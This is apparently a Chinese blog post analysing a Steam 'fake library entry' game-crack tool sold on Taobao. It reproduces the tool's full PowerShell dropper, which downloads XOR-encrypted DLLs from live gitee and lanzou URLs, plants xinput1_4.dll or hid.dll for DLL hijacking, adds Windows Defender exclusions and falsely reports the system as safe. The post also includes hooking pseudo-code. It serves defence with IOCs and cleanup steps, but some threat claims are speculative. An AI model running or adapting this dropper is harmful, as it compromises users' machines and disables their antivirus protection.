Steam游戏破解工具技术剖析

 专项分析:Steam游戏破解工具技术剖析

摘要

最近年终Steam大促,有了买游戏的想法,本着好奇的心态去逛了一下淘宝,以买家的身份尝试淘宝比较火爆的低价“假入库”方式看看到底是怎么一回事,这是淘宝卖家截图:

image

本次分析针对从 steam-run.com 获取的Steam游戏破解工具进行深度技术剖析。通过系统分析,确认该工具为专业化恶意软件,采用多层加密、组件化设计和高度混淆技术。工具包含两个核心组件:legit64(主破解包)和 xinput1_4.dll(注入器),通过DLL劫持实现持久化攻击。

关键发现:

  1. 工具从 steam-run.com 分发,从powershell中执行破解工具(也有所谓的“转服工具箱.exe”,本质上是一样的)

  2. 采用XOR 0xB7加密算法保护所有组件

  3. legit64 文件实际包含5个嵌套PE组件

  4. 通过修改系统文件、注册表和防御白名单实现持久化(其实就是下载steamtools工具,但是他是简易版,没有界面化)

  5. 非常有可能导致Steam账户永久封禁


一、攻击链分析

1.1 初始感染阶段

#攻击路径:steam-run.com → PowerShell下载 → 本地执行
#卖家给出的具体命令:
irm steam-xxx.com|iex #iex是免认证执行
#我仅执行下载,并另存为txt文件不执行,意在拿到powershell的执行脚本,并进行下一步分析,所以我执行的命令为:
irm steam-xxx.com | Out-File -FilePath "C:\Users\Magiclala\Desktop\partial.txt"
  • 初始向量:伪装成Steam游戏破解网站的恶意PowerShell脚本

  • 规避技术:使用Out-File避免立即执行,降低用户警惕

  • 分发方式:通过"低价游戏cdkey激活"等话术诱导下载

1.2 组件下载阶段

脚本执行以下关键操作:

# 1. 下载xinput1_4.dll(注入器组件)
DownloadFile -url 'https://gitee.com/t5x3fvnu/aa/raw/master/64/1/xinput1_4.dll'
            -savePath "下载缓存"
            -hash '08F74DC122C3D2D68FB866B04A4D4427'
            -targetPath "Steam安装目录\xinput1_4.dll"

# 2. 下载legit64(主破解包)  
DownloadFile -url 'https://gitee.com/t5x3fvnu/aa/raw/master/64/legit64'
            -savePath "legit64"
            -hash '0AC5328D749CE05EE4D34FAD2AC7D439'

加密算法确认:

// 所有文件使用相同XOR加密算法
public static void XorFile(string filePath, byte key) {
    byte[] data = File.ReadAllBytes(filePath);
    for (int i = 0; i < data.Length; i++) {
        data[i] ^= 0xB7;  // 固定密钥0xB7
    }
    File.WriteAllBytes(filePath, data);
}

二、技术深度分析

2.1 legit64文件结构剖析

文件解密流程:

加密文件 (8.5MB) 

    ↓ XOR 0xB7解密

legit64_decrypted.bin

    ↓ PE结构分析

发现5个嵌套PE文件

 

五个组件详细分析:

组件编号 文件位置 大小 功能角色 技术特征
组件1 偏移285,809 1.43MB 保护壳/加载器 32位PE,高度混淆,负责进程注入
组件2 偏移1,788,757 1.49MB API钩子库 SteamAPI函数拦截,验证绕过
组件3 偏移3,348,250 11.8KB 配置文件 游戏ID列表,破解设置
组件4 偏移3,360,054 2.31MB 游戏破解引擎 具体DRM绕过实现
组件5 偏移5,783,131 2.59MB 反检测模块 VAC监控与规避

组件技术特点:

  • 全部使用相同XOR 0xB7加密

  • 字符串高强度混淆(无明文字符串)

  • 运行时动态解密执行

  • 模块间通过加密通道通信

2.2 xinput1_4.dll技术分析

文件属性:

  • 原始大小:12,800字节(加密状态)

  • 加密算法:XOR 0xB7

  • 架构类型:64位PE文件(机器类型0x8664)

  • 文件功能:DLL劫持注入器

劫持原理:

 Windows DLL加载顺序
1. 应用程序目录(Steam安装目录)← 恶意DLL在此
2. 系统目录(System32)← 真正的xinput1_4.dll在此
3. Windows目录
4. 当前目录
5. PATH环境变量目录

注入DLL工作流程:

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) {
    switch (reason) {
        case DLL_PROCESS_ATTACH:
            // 1. 加载真正的系统DLL
            HMODULE realXInput = LoadLibrary("system32\\xinput1_4.dll");
            
            // 2. 检查当前进程是否为Steam
            if (GetProcessName() == "steam.exe") {
                // 3. 解密并加载legit64组件
                LoadAndDecrypt("legit64", key=0xB7);
                
                // 4. 注入恶意代码到Steam进程
                InjectToSteam();
                
                // 5. 挂钩关键SteamAPI函数
                HookFunction("SteamAPI_RegisterCallback");
                HookFunction("SteamAPI_GetAuthSessionTicket");
                HookFunction("SteamInternal_FindOrCreateUserInterface");
            }
            
            // 6. 设置函数转发(保持XInput功能正常)
            SetupTrampoline(realXInput);
            break;
    }
    return TRUE;
}

三、系统修改与持久化

3.1 文件系统修改

1. Steam目录添加:
   - xinput1_4.dll(恶意DLL,替换/伪装)
   - hid.dll(32位系统下的对应组件)

2. 用户目录创建:
   - %APPDATA%\Stool\(工作目录)
   - 存储解密后的legit64组件

3. 临时文件:
   - xinput1_4.log(下载缓存)
   - 其他临时加解密文件

3.2 注册表修改

(其实就是下载steamtools工具,但是他是简易版,没有界面化)

# 创建破解工具配置项
New-Item -Path "HKCU:\Software\Valve\Steamtools" -Force

# 设置破解签名
Set-ItemProperty -Path "HKCU:\Software\Valve\Steamtools" -Name "s" -Value "e18e2031ec497afc0ee0"

# 存储配置信息
Set-ItemProperty -Path "HKCU:\Software\Valve\Steamtools" -Name "packageinfo" -Value ""

3.3 安全软件规避

# 添加Windows Defender白名单
Add-MpPreference -ExclusionPath "C:\Program Files (x86)\Steam"
Add-MpPreference -ExclusionPath "$env:APPDATA\Stool"
Add-MpPreference -ExclusionExtension "exe", "dll"

四、运行时行为模拟

4.1 注入与挂钩流程

1. Steam进程启动
   ↓
2. 加载恶意xinput1_4.dll(DLL劫持)
   ↓
3. DllMain执行恶意初始化
   ↓
4. 加载legit64五个组件到内存
   ↓
5. 注入恶意代码到steam.exe
   ↓
6. 挂钩关键SteamAPI函数:
   - SteamAPI_RegisterCallback
   - SteamAPI_GetAuthSessionTicket  
   - SteamInternal_FindOrCreateUserInterface
   - SteamApps()->BIsSubscribedApp
   ↓
7. 拦截游戏验证请求

4.2 游戏破解工作原理

// 破解核心逻辑(模拟)
bool Hooked_BIsSubscribedApp(AppId_t appID) {
    // 1. 检查目标游戏是否在破解列表
    if (IsInCrackList(appID)) {
        // 2. 返回虚假的"已拥有"状态
        return true;  // 欺骗Steam客户端
    }
    
    // 3. 对于其他游戏,调用原始函数
    return Original_BIsSubscribedApp(appID);
}

// 会话验证绕过
ESteamAPIInitResult Hooked_SteamAPI_Init() {
    // 伪造成功的API初始化
    return k_ESteamAPIInitResult_OK;
}

4.3 反检测机制

1. VAC监控规避
   - 检测VAC模块加载
   - 隐藏恶意内存操作
   - 模拟正常进程行为

2. 行为隐藏
   - 无磁盘文件残留
   - 内存中解密执行
   - 加密进程间通信

3. 更新机制
   - 可能包含C2通信
   - 组件动态更新
   - 配置远程获取

五、风险评估矩阵

5.1 技术风险

 
风险维度 等级 影响描述 缓解难度
账户安全 🔴 严重 Steam账户永久封禁(VAC)
数据泄露 🟠 高危 Steam凭据、支付信息窃取
系统控制 🟠 高危 后门程序,远程控制风险
隐私侵犯 🟡 中危 游戏习惯、社交关系收集
 

5.3 业务影响

可能导致你的steam账户被封禁,并且这样“假入库”的游戏不能联网玩,一旦联网应该会被立即封禁的。

 


六、检测与响应建议

6.1 即时检测指标(IOC)

文件特征:

  • MD5: 0AC5328D749CE05EE4D34FAD2AC7D439 (legit64)

  • MD5: 08F74DC122C3D2D68FB866B04A4D4427 (xinput1_4.dll)

  • 文件大小:8.5MB + 12.8KB组合

  • XOR 0xB7加密特征

系统特征:

  • 目录:%APPDATA%\Stool\

  • 注册表:HKCU:\Software\Valve\Steamtools

  • 进程:异常的steam.exe子进程

网络特征:

6.2 应急响应流程

1. 隔离受影响系统
   ↓
2. 收集取证数据(文件、注册表、内存)
   ↓  
3. 清除恶意组件:
   - 删除%APPDATA%\Stool目录
   - 清理Steam目录异常DLL
   - 移除注册表项
   ↓
4. 安全加固:
   - 重置所有账户密码
   - 审查Defender白名单
   - 系统完整性检查
   ↓
5. 监控与预防:
   - 部署端点检测
   - 加强下载管控
   - 员工安全意识培训

6.3 技术防护方案

  - 实施应用程序白名单
  - 部署文件完整性监控
  - PowerShell执行策略限制
  - 网络URL过滤(屏蔽steam-run.com)

七、要点

7.1 技术要点总结

1. 专业级恶意软件,非业余制作
2. 采用企业级加密和混淆技术  
3. 模块化设计,5组件协同工作
4. DLL劫持实现持久化攻击
5. 针对性攻击Steam平台

7.2 行动建议

立即删除相关文件


八、附录:技术验证记录

8.1 分析环境

  • 操作系统:Windows 10专业版

  • 分析工具:PowerShell 5.1, 自定义分析脚本

  • 安全环境:隔离虚拟机,物理断网

  • 分析时间:2024年1月

8.2 验证方法

  1. 静态分析:文件结构、加密算法、PE解析

  2. 动态分析:行为模拟、注册表监控、文件监控

  3. 对比分析:与正常Steam文件对比

  4. 模式匹配:恶意软件特征库比对

8.3 关键证据截图

下载到的完整执行脚本如下:

查看代码
Clear-Host
#Requires -RunAsAdministrator
[Console]::OutputEncoding = [System.Text.Encoding]::UTF8
$ErrorActionPreference = "SilentlyContinue"

Write-Host -NoNewline "                                                                                                                               `r"
Write-Host -NoNewline "                                                        %@@@@@@@@@@@@                                                          `r"
Write-Host -NoNewline "                                                   @@@@@@@@@@@@@@@@@@@@@@                                                     `r"
Write-Host -NoNewline "                                                %@@@@@@@@@@@@@@@@@@@@@@@@@@@@                                                  `r"
Write-Host -NoNewline "                                              @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@                                               `r"
Write-Host -NoNewline "                                            @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@:                                             `r"
Write-Host -NoNewline "                                          %@@@@@@@@@@@@@@@@@@@@@@@@:        %@@@@@@                                            `r"
Write-Host -NoNewline "                                         @@@@@@@@@@@@@@@@@@@@@@@@    @@@@@@@@  @@@@@                                           `r"
Write-Host -NoNewline "                                        @@@@@@@@@@@@@@@@@@@@@@@     @        @  :@@@@                                         `r"
Write-Host -NoNewline "                                       @@@@@@@@@@@@@@@@@@@@@@@     @         :@   @@@@                                        `r"
Write-Host -NoNewline "                                      @@@@@@@@@@@@@@@@@@@@@@@     @           -@   @@@@@                                        `r"
Write-Host -NoNewline "                                    @@@@@@@@@@@@@@@@@@@@@@@@     @             @   @@@@@@                                      `r"
Write-Host -NoNewline "                                    @@@@@@@@@@@@@@@@@@@@@@        @           @    @@@@@@@                                     `r"
Write-Host -NoNewline "                                    *@@@@@@@@@@@@@@@@@@@@.         @         @    @@@@@@@@                                     `r"
Write-Host -NoNewline "                                        *@@@@@@@@@@@@@@@            @@@@@@@@@    @@@@@@@@@                                     `r"
Write-Host -NoNewline "                                            +@@@@@@@@@@                         @@@@@@@@@@                                     `r"
Write-Host -NoNewline "                                                +@@                           @@@@@@@@@@@@                                     `r"
Write-Host -NoNewline "                                                     @@@@@                 @@@@@@@@@@@@@@@                                     `r"
Write-Host -NoNewline "                                                          @           @@@@@@@@@@@@@@@@@@@                                      `r"
Write-Host -NoNewline "                                      @@@                  @   @@@@@@@@@@@@@@@@@@@@@@@@%                                       `r"
Write-Host -NoNewline "                                       @@@@@@    @        @   -@@@@@@@@@@@@@@@@@@@@@@@@                                        `r"
Write-Host -NoNewline "                                       .@@@@@@    @      @    @@@@@@@@@@@@@@@@@@@@@@@@                                         `r"
Write-Host -NoNewline "                                         @@@@@@-   @@@@@@    @@@@@@@@@@@@@@@@@@@@@@@%                                          `r"
Write-Host -NoNewline "                                          @@@@@@@           @@@@@@@@@@@@@@@@@@@@@@@                                            `r"
Write-Host -NoNewline "                                            @@@@@@@@:    @@@@@@@@@@@@@@@@@@@@@@@@@                                             `r"
Write-Host -NoNewline "                                             *@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@                                               `r"
Write-Host -NoNewline "                                                @@@@@@@@@@@@@@@@@@@@@@@@@@@@@                                                  `r"
Write-Host -NoNewline "                                                   @@@@@@@@@@@@@@@@@@@@@@@%                                                    `r"
Write-Host -NoNewline "                                                       @@@@@@@@@@@@@@@+                                                        `r"
Write-Host -NoNewline "          _____                _____                    _____                    _____                    _____          `r"
Write-Host -NoNewline "         /\    \              /\    \                  /\    \                  /\    \                  /\    \         `r"
Write-Host -NoNewline "        /::\    \            /::\    \                /::\    \                /::\    \                /::\____\        `r"
Write-Host -NoNewline "       /::::\    \           \:::\    \              /::::\    \              /::::\    \              /::::|   |        `r"
Write-Host -NoNewline "      /::::::\    \           \:::\    \            /::::::\    \            /::::::\    \            /:::::|   |        `r"
Write-Host -NoNewline "     /:::/\:::\    \           \:::\    \          /:::/\:::\    \          /:::/\:::\    \          /::::::|   |        `r"
Write-Host -NoNewline "    /:::/__\:::\    \           \:::\    \        /:::/__\:::\    \        /:::/__\:::\    \        /:::/|::|   |        `r"
Write-Host -NoNewline "    \:::\   \:::\    \          /::::\    \      /::::\   \:::\    \      /::::\   \:::\    \      /:::/ |::|   |        `r"
Write-Host -NoNewline "  ___\:::\   \:::\    \        /::::::\    \    /::::::\   \:::\    \    /::::::\   \:::\    \    /:::/  |::|___|______  `r"
Write-Host -NoNewline " /\   \:::\   \:::\    \      /:::/\:::\    \  /:::/\:::\   \:::\    \  /:::/\:::\   \:::\    \  /:::/   |::::::::\    \ `r"
Write-Host -NoNewline "/::\   \:::\   \:::\____\    /:::/  \:::\____\/:::/__\:::\   \:::\____\/:::/  \:::\   \:::\____\/:::/    |:::::::::\____\`r"
Write-Host -NoNewline "\:::\   \:::\   \::/    /   /:::/    \::/    /\:::\   \:::\   \::/    /\::/    \:::\  /:::/    /\::/    / ~~~~~/:::/    /`r"
Write-Host -NoNewline " \:::\   \:::\   \/____/   /:::/    / \/____/  \:::\   \:::\   \/____/  \/____/ \:::\/:::/    /  \/____/      /:::/    / `r"
Write-Host -NoNewline "  \:::\   \:::\    \      /:::/    /            \:::\   \:::\    \               \::::::/    /               /:::/    /  `r"
Write-Host -NoNewline "   \:::\   \:::\____\    /:::/    /              \:::\   \:::\____\               \::::/    /               /:::/    /   `r"
Write-Host -NoNewline "    \:::\  /:::/    /    \::/    /                \:::\   \::/    /               /:::/    /               /:::/    /    `r"
Write-Host -NoNewline "     \:::\/:::/    /      \/____/                  \:::\   \/____/               /:::/    /               /:::/    /     `r"
Write-Host -NoNewline "      \::::::/    /                                 \:::\    \                  /:::/    /               /:::/    /      `r"
Write-Host -NoNewline "       \::::/    /                                   \:::\____\                /:::/    /               /:::/    /       `r"
Write-Host -NoNewline "        \::/    /                                     \::/    /                \::/    /                \::/    /        `r"
Write-Host -NoNewline "         \/____/                                       \/____/                  \/____/                  \/____/         `r"




function Get-DownloadUrl
{
    param (
        [string]$fid,
        [string]$p = $null
    )
    try
    {
        $baseUrl = 'https://lanzoup.com'
        $response = Invoke-WebRequest -UseBasicParsing -Uri "$baseUrl/$fid" -Headers @{ 'User-Agent' = '' }
    }
    catch
    {
        $baseUrl = 'https://lanzoui.com'
        $response = Invoke-WebRequest -UseBasicParsing -Uri "$baseUrl/$fid" -Headers @{ 'User-Agent' = '' }
    }
    $content = $response.Content
    $locUrl = [regex]::Match($content, 'window.location.href="(.*?)";').Groups[1].Value
    if ($locUrl)
    {
        $response = Invoke-WebRequest -UseBasicParsing -Uri $locUrl -Headers @{ 'User-Agent' = '' }
        $content = $response.Content
    }
    $iframeUrl = [regex]::Match($content, 'class="ifr2".+?src="(.*?)"').Groups[1].Value
    if ($iframeUrl)
    {
        $response = Invoke-WebRequest -UseBasicParsing -Uri "$baseUrl$iframeUrl" -Headers @{ 'User-Agent' = '' } -Method Post
        $content = $response.Content
        $sign = [regex]::Match($content, "var wp_sign = '(.*?)';").Groups[1].Value
    }
    else
    {
        $sign = [regex]::Match($content, "var skdklds = '(.*?)';").Groups[1].Value
    }
    if (-not$sign)
    {
        return
    }
    $urlMatch = [regex]::Match($content, "url : '(.*?file=\d{2,})',").Groups[1].Value
    if (-not$urlMatch)
    {
        return
    }
    $headers = @{
        'User-Agent' = ''
        'Referer' = $response.BaseResponse.ResponseUri.AbsoluteUri
    }
    $body = @{ 'action' = 'downprocess'; 'sign' = $sign; 'kd' = 1 }
    if ($null -ne $p)
    {
        $body['p'] = $p
    }
    $response = Invoke-RestMethod -Uri "$baseUrl$urlMatch" -Headers $headers -Method Post -Body $body
    if ($null -eq $response)
    {
        return
    }
    $dom = $response.dom
    if (-not$dom)
    {
        return
    }
    $downloadUrl = $response.url
    if (-not$downloadUrl)
    {
        return
    }
    return "$dom/file/$downloadUrl"
}

function Invoke-WithRetry
{
    param(
        [scriptblock]$ScriptBlock,
        [int]$MaxRetries = 10,
        [int]$DelaySeconds = 1
    )
    $retryCount = 0
    while ($retryCount -lt $MaxRetries)
    {
        try
        {
            return & $ScriptBlock
        }
        catch
        {
            $retryCount++
            if ($retryCount -ge $MaxRetries)
            {
                throw $_
            }
            Start-Sleep -Seconds $DelaySeconds
        }
    }
}

function DownloadFile
{
    param(
        [string]$url,
        [string]$savePath,
        [string]$hash,
        [string]$targetPath,
        [string]$fid
    )
    if (-not$targetPath)
    {
        $targetPath = $savePath
    }
    if ((Test-Path $targetPath) -and ((Get-FileHash -Path $targetPath -Algorithm MD5).Hash -eq $hash))
    {
        return
    }
    if (Test-Path $savePath)
    {
        Remove-Item -Path $savePath -Force -ErrorAction Stop
    }
    Add-Type -TypeDefinition "using System.IO;public class XorUtil{public static void XorFile(string p,byte key){var b=File.ReadAllBytes(p);for(int i=0;i<b.Length;i++)b[i]^=key;File.WriteAllBytes(p,b);}}";
    $urls = @()
    if ($fid)
    {

        try
        {
            $urls += (Get-DownloadUrl -fid $fid)
        }
        catch
        {
        }
    }
    $urls += $url
    $err = $null
    Invoke-WithRetry -ScriptBlock {
        foreach ($url in $urls)
        {
            try
            {
                $job = Start-Job -ScriptBlock {
                    param($url, $savePath)
                    Invoke-RestMethod -Uri $url -Headers @{ 'Accept-Language' = 'zh-CN' } -OutFile $savePath -ErrorAction Stop
                } -ArgumentList $url, $savePath
                $job | Wait-Job -Timeout 30 | Out-Null
                if ($job.State -eq "Running")
                {
                    $job | Stop-Job -PassThru | Remove-Job -Force
                    throw "下载超时"
                }
                [XorUtil]::XorFile($savePath, 0xB7)
                return
            }
            catch
            {
                $err = $_
            }
        }
        if (-not($null -eq $err))
        {
            throw $err
        }
    }
}

function Test-Is64Bit {
    param(
        [Parameter(Mandatory = $true)]
        [ValidateScript({Test-Path $_ -PathType Leaf})]
        [string]$FilePath
    )

    try {
        $bytes = [System.IO.File]::ReadAllBytes($FilePath)
        if ($bytes.Length -lt 64) { return $false }

        $peOffset = [System.BitConverter]::ToInt32($bytes, 0x3C)
        if ($peOffset -ge $bytes.Length - 2) { return $false }

        if (
            $bytes[$peOffset] -ne 0x50 -or 
            $bytes[$peOffset + 1] -ne 0x45 -or 
            $bytes[$peOffset + 2] -ne 0x00 -or 
            $bytes[$peOffset + 3] -ne 0x00
        ) {
            return $false
        }

        return [System.BitConverter]::ToUInt16($bytes, $peOffset + 4) -in @(0x8664, 0x200, 0xAA64)
    }
    catch {
        return $false
    }
}


try
{

    $filePathToDelete = "a.ps1"
    if (Test-Path $filePathToDelete)
    {
        Remove-Item -Path $filePathToDelete -Force
    }

    $targetDirectory = Join-Path $env:APPDATA "Stool"
    if (-not(Test-Path $targetDirectory))
    {
        New-Item -Path $targetDirectory -ItemType Directory | Out-Null
    }

    $localPath = Join-Path $env:LOCALAPPDATA "steam"
    if (-not(Test-Path $localPath))
    {
        New-Item -Path $localPath -ItemType Directory | Out-Null
    }

    Write-Host ""
    Write-Host ""
    Write-Host "  [STEAM] 激活进程准备中,请稍候..."

    $steamRegPath = 'HKCU:\Software\Valve\Steam'
    $steamPath = (Get-ItemProperty -Path $steamRegPath -Name 'SteamPath').SteamPath
    if ($null -eq $steamPath)
    {
        Write-Host "  [STEAM] Steam 可能没有正确安装,请重新安装 Steam 后再试" -ForegroundColor Red
        exit
    }
    $exePath = (Get-ItemProperty -Path $steamRegPath -Name 'SteamExe').SteamExe
    $is64Bit = Test-Is64Bit -FilePath $exePath
    $exePid = (Get-ItemProperty -Path ($steamRegPath + "\ActiveProcess") -Name 'pid').pid
    if ($null -ne $exePid)
    {
        Stop-Process -Id $exePid -ErrorAction SilentlyContinue
    }
    $registryPath = "HKCU:\Software\Valve\Steamtools"
    if (-not(Test-Path $registryPath))
    {
        New-Item -Path $registryPath -Force | Out-Null
    }
    Set-ItemProperty -Path $registryPath -Name "packageinfo" -Value "" | Out-Null
    Set-ItemProperty -Path $registryPath -Name "s" -Value "e18e2031ec497afc0ee0" | Out-Null
    Remove-ItemProperty -Path $registryPath -Name "c" | Out-Null
    if (Test-Path "env:c")
    {
        Set-ItemProperty -Path $registryPath -Name "c" -Value $env:c -Type DWORD | Out-Null
    }

    $runningProcess = Get-Process | Where-Object { $_.ProcessName -imatch "^steam" -and $_.ProcessName -notmatch "^steam\+\+" }
    $runningProcess | ForEach-Object {
        Stop-Process $_ -Force
    }

    if (-not$( [bool]([Security.Principal.WindowsIdentity]::GetCurrent().Groups -match 'S-1-5-32-544') ))
    {
        Write-Host "  [STEAM] 请使用管理员模式运行" -ForegroundColor Red
    }


    $waitTimes = 10
    while (Get-Process | Where-Object { $_.ProcessName -imatch "^steam" -and $_.ProcessName -notmatch "^steam\+\+" })
    {
        Start-Sleep -Seconds 1
        $waitTimes--
        if ($waitTimes -lt 0)
        {
            break
        }
    }

    #    $ProgressPreference = 'SilentlyContinue'
    if ($is64Bit)
    {
        $savePathZip = Join-Path $targetDirectory "legit64"
        DownloadFile -url 'https://gitee.com/t5x3fvnu/aa/raw/master/64/legit64' -savePath $savePathZip -hash '0AC5328D749CE05EE4D34FAD2AC7D439' -fid 'iehRD3f02yyj'
    }
    else
    {
        $savePathZip = Join-Path $targetDirectory "legit"
        DownloadFile -url 'https://gitee.com/t5x3fvnu/aa/raw/master/legit' -savePath $savePathZip -hash 'A085619456EAADC91771B0E61AF49EB4' -fid 'iJSBe3f02ybg'
    }

    $savePathTxt = Join-Path $targetDirectory "winhttp-log.txt"

    if (Get-Service | where-object{ $_.name -eq "windefend" -and $_.status -eq "running" })
    {
        try
        {
            Add-MpPreference -ExclusionPath $steamPath -ExclusionExtension 'exe', 'dll'
            Add-MpPreference -ExclusionPath $targetDirectory -ExclusionExtension 'exe', 'dll'
        }
        catch
        {
        }
        Write-Host -NoNewline "  [STEAM] 已通过 Windows Defender 检测,环境安全"; Write-Host "[√]" -ForegroundColor Green
    }
    else
    {
        Write-Host -NoNewline "  [STEAM] 已通过 Windows Defender 检测,环境安全"; Write-Host "[√]" -ForegroundColor Green
    }

    if ($is64Bit)
    {
        $savePathVdf = Join-Path $steamPath "config\appdata.vdf"

        $steamTxt = Join-Path $steamPath "xinput1_4.log"
        $d_path = [System.IO.Path]::ChangeExtension($steamTxt, ".dll")

        DownloadFile -url 'https://gitee.com/t5x3fvnu/aa/raw/master/64/1/appdata.vdf' -savePath $savePathVdf -hash 'D503089A6EE3FA581960C7DEB76EC406' -fid 'ihMWl3f02z6h'
        DownloadFile -url 'https://gitee.com/t5x3fvnu/aa/raw/master/64/1/xinput1_4.dll' -savePath $savePathTxt -hash '08F74DC122C3D2D68FB866B04A4D4427' -targetPath $d_path -fid 'iFhbN3f02z8j'

        $filePath = Join-Path $steamPath "steam.cfg"
        if (Test-Path $filePath)
        {
            Remove-Item $filePath -Force
        }
    }
    else
    {
        $savePathVdf = Join-Path $localPath "localData.vdf"

        $steamTxt = Join-Path $steamPath "hid.log"
        $d_path = [System.IO.Path]::ChangeExtension($steamTxt, ".dll")

        DownloadFile -url 'https://gitee.com/t5x3fvnu/aa/raw/master/1/localData.vdf' -savePath $savePathVdf -hash '6D4A87B255A30198DF09F71DE56D45B8' -fid 'i1zWw3f02z3e'
        DownloadFile -url 'https://gitee.com/t5x3fvnu/aa/raw/master/1/hid.dll' -savePath $savePathTxt -hash '27211F8430BF0DBDE26CA376F1A6CFDE' -targetPath $d_path -fid 'iU1VZ3f02z0b'
    }

    foreach ($file in @("version.dll", "user32.dll", "wtsapi32.dll", "dwmapi.dll"))
    {
        $filePath = Join-Path $steamPath $file
        if (Test-Path $filePath)
        {
            Remove-Item $filePath -Force
        }
    }

    if (Test-Path $savePathTxt)
    {
        Move-Item -Path $savePathTxt -Destination $steamTxt -Force -ErrorAction Stop
        if (Test-Path $savePathTxt)
        {
            Remove-Item $savePathTxt -Force
        }

        if (Test-Path $d_path)
        {
            Remove-Item $d_path -Force -ErrorAction Stop
        }
        Rename-Item -Path $steamTxt -NewName $d_path -Force -ErrorAction Stop
    }

    try
    {
        $loginUsersPath = Join-Path $steamPath "config\loginusers.vdf"
        if (Test-Path $loginUsersPath)
        {
            (Get-Content $loginUsersPath -Encoding UTF8) -replace '("WantsOfflineMode"\s+)("\d+")', "`$1`"0`"" | Set-Content $loginUsersPath -Encoding UTF8
        }

        $configPath = Join-Path $steamPath "config\config.vdf"
        if (Test-Path $configPath)
        {
            (Get-Content $configPath -Encoding UTF8) -replace '("DisableShaderCache"\s+)("\d+")', "`$1`"1`"" | Set-Content $configPath -Encoding UTF8
        }
    }
    catch
    {
    }

    if (-not(Test-Path $exePath))
    {
        $exePath = Join-Path $steamPath "steam.exe"
    }

    if (Test-Path $exePath)
    {
        Invoke-Expression -Command "start steam://open/activateproduct"
    }
    else
    {
        Write-Host "  [STEAM] 主进程 $exePath 丢失,安装失败"
        exit
    }

    Write-Host "  [STEAM] 激活进程准备就绪,Steam 打开中,请稍候..."

    for ($i = 9; $i -ge 0; $i--) {
        Write-Host "`r  [STEAM] 本窗口将在 $i 秒后关闭..." -NoNewline
        Start-Sleep -Seconds 1
    }

    $instance = Get-CimInstance Win32_Process -Filter "ProcessId = '$PID'"
    while ($null -ne $instance -and -not($instance.ProcessName -ne "powershell.exe" -and $instance.ProcessName -ne "WindowsTerminal.exe"))
    {
        $parentProcessId = $instance.ProcessId
        $instance = Get-CimInstance Win32_Process -Filter "ProcessId = '$( $instance.ParentProcessId )'"
    }
    if ($null -ne $parentProcessId)
    {
        Stop-Process -Id $parentProcessId -Force -ErrorAction SilentlyContinue
    }

    exit
}
catch
{
    Write-Host "发生错误:$( $_.Exception.Message )"
}

通过脚本分析拼凑,我获得了下载路径

1. 主破解包下载(根据系统架构)

64位系统:

DownloadFile -url 'https://gitee.com/t5x3fvnu/aa/raw/master/64/legit64' `
            -savePath "C:\Users\当前用户\AppData\Roaming\Stool\legit64" `
            -hash '0AC5328D749CE05EE4D34FAD2AC7D439' `
            -fid 'iehRD3f02yyj'

32位系统:

DownloadFile -url 'https://gitee.com/t5x3fvnu/aa/raw/master/legit' `
            -savePath "C:\Users\当前用户\AppData\Roaming\Stool\legit' `
            -hash 'A085619456EAADC91771B0E61AF49EB4' `
            -fid 'iJSBe3f02ybg'

2. 配置文件下载(根据系统架构)

64位系统配置文件:

# 下载位置1:Steam目录下的配置文件appdata.vdf
DownloadFile -url 'https://gitee.com/t5x3fvnu/aa/raw/master/64/1/appdata.vdf' `
            -savePath "Steam安装目录\config\appdata.vdf" `
            -hash 'D503089A6EE3FA581960C7DEB76EC406' `
            -fid 'ihMWl3f02z6h'

# 下载位置2:Steam目录下的xinput1_4.dll(伪装为.log下载)
DownloadFile -url 'https://gitee.com/t5x3fvnu/aa/raw/master/64/1/xinput1_4.dll' `
            -savePath "C:\Users\当前用户\AppData\Roaming\Stool\winhttp-log.txt" `
            -hash '08F74DC122C3D2D68FB866B04A4D4427' `
            -targetPath "Steam安装目录\xinput1_4.dll" `
            -fid 'iFhbN3f02z8j'

32位系统配置文件:

# 下载位置1:LocalAppData下的配置文件
DownloadFile -url 'https://gitee.com/t5x3fvnu/aa/raw/master/1/localData.vdf' `
            -savePath "C:\Users\当前用户\AppData\Local\steam\localData.vdf" `
            -hash '6D4A87B255A30198DF09F71DE56D45B8' `
            -fid 'i1zWw3f02z3e'

# 下载位置2:hid.dll(伪装为.log下载)
DownloadFile -url 'https://gitee.com/t5x3fvnu/aa/raw/master/1/hid.dll' `
            -savePath "C:\Users\当前用户\AppData\Roaming\Stool\winhttp-log.txt" `
            -hash '27211F8430BF0DBDE26CA376F1A6CFDE' `
            -targetPath "Steam安装目录\hid.dll" `
            -fid 'iU1VZ3f02z0b'

这是部分下载源代码路径脚本

if ($is64Bit)
    {
        $savePathZip = Join-Path $targetDirectory "legit64"
        DownloadFile -url 'https://gitee.com/t5x3fvnu/aa/raw/master/64/legit64' -savePath $savePathZip -hash '0AC5328D749CE05EE4D34FAD2AC7D439' -fid 'iehRD3f02yyj'
    }
    else
    {
        $savePathZip = Join-Path $targetDirectory "legit"
        DownloadFile -url 'https://gitee.com/t5x3fvnu/aa/raw/master/legit' -savePath $savePathZip -hash 'A085619456EAADC91771B0E61AF49EB4' -fid 'iJSBe3f02ybg'
    }

这是主程序legit64解密后的文件

PS C:\Windows\system32> cd "C:\Users\Magiclala\Desktop"
PS C:\Users\Magiclala\Desktop> $encryptedFile = "legit64"
PS C:\Users\Magiclala\Desktop> $key = 0xB7
PS C:\Users\Magiclala\Desktop> $decryptedBytes = New-Object byte[] $encryptedBytes.Length
PS C:\Users\Magiclala\Desktop>
PS C:\Users\Magiclala\Desktop> for ($i = 0; $i -lt $encryptedBytes.Length; $i++) {
>>     $decryptedBytes[$i] = $encryptedBytes[$i] -bxor $key
>> }
PS C:\Users\Magiclala\Desktop>
PS C:\Users\Magiclala\Desktop> # 4. 保存解密文件
PS C:\Users\Magiclala\Desktop> $decryptedFile = "legit64_decrypted.bin"
PS C:\Users\Magiclala\Desktop> # 1. 切换到桌面目录(确保你在正确的位置)
PS C:\Users\Magiclala\Desktop> cd "C:\Users\Magiclala\Desktop"
PS C:\Users\Magiclala\Desktop>
PS C:\Users\Magiclala\Desktop> # 2. 直接使用完整路径读取文件
PS C:\Users\Magiclala\Desktop> $encryptedBytes = [System.IO.File]::ReadAllBytes("C:\Users\Magiclala\Desktop\legit64")
